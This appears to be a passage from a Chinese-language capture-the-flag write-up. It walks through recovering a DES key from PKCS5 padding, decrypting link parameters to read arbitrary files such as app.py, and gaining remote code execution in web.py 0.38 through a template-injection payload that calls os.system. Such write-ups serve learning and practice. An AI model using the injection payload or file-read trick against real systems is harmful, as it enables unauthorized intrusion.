前面提到,PKCS5 的規則下,Padding 的內容要和長度一樣 (例如 block size = 8,要 pad 的爲 8 位,則要寫 0x08 八次)。故我們可以推測 3ca92540eb2d0a42 == 0808080808080808
。
若丟進 hashcat,我們就可以拿到這題的金鑰。但這不是 flag ....
頁面上某連結其實是會返回ㄧ個 PDF 的。但根據看的兩份 Writeup,這裏會有兩種不同打法。
第一種打法是源自前面提到的,在 DES 的狀況下,每一字的最後一 byte 都是可以不管的。故其實是有 256 種可能的金鑰。扣掉不是純字元組成的金鑰,則會有 128 種。故可以試著一直交 flag,直到拿到分數爲止。
第二種打法則比較長一些。根據題目的提示,這題要看源碼。
假設我們把頁面上每個連結都解開,會發現某連結解開後,會是 m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
。
根據題目的註解,我們要看源碼。故下 m=d&f=app.py
(當然要用同種方法加密回去) 即可看到題目源碼,和 flag。
假設我們用同種方法拿題目的 requirements.txt
,會知道它使用 web.py==0.38
。若再去 Google 功夫一波,會找到一篇 RCE 的說明:Remote Code Execution in Web.py framework | Security et alii。
根據這篇文章,我們可以下以下兩個請求:
m=p&l=${[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('/read_flag > /tmp/flag')}
m=d&f=/tmp/flag
來拿下 v2 的 flag。我們在下一篇,會來看看 webpy 的問題出在那裡。
Remote Code Execution in Web.py framework | Security et alii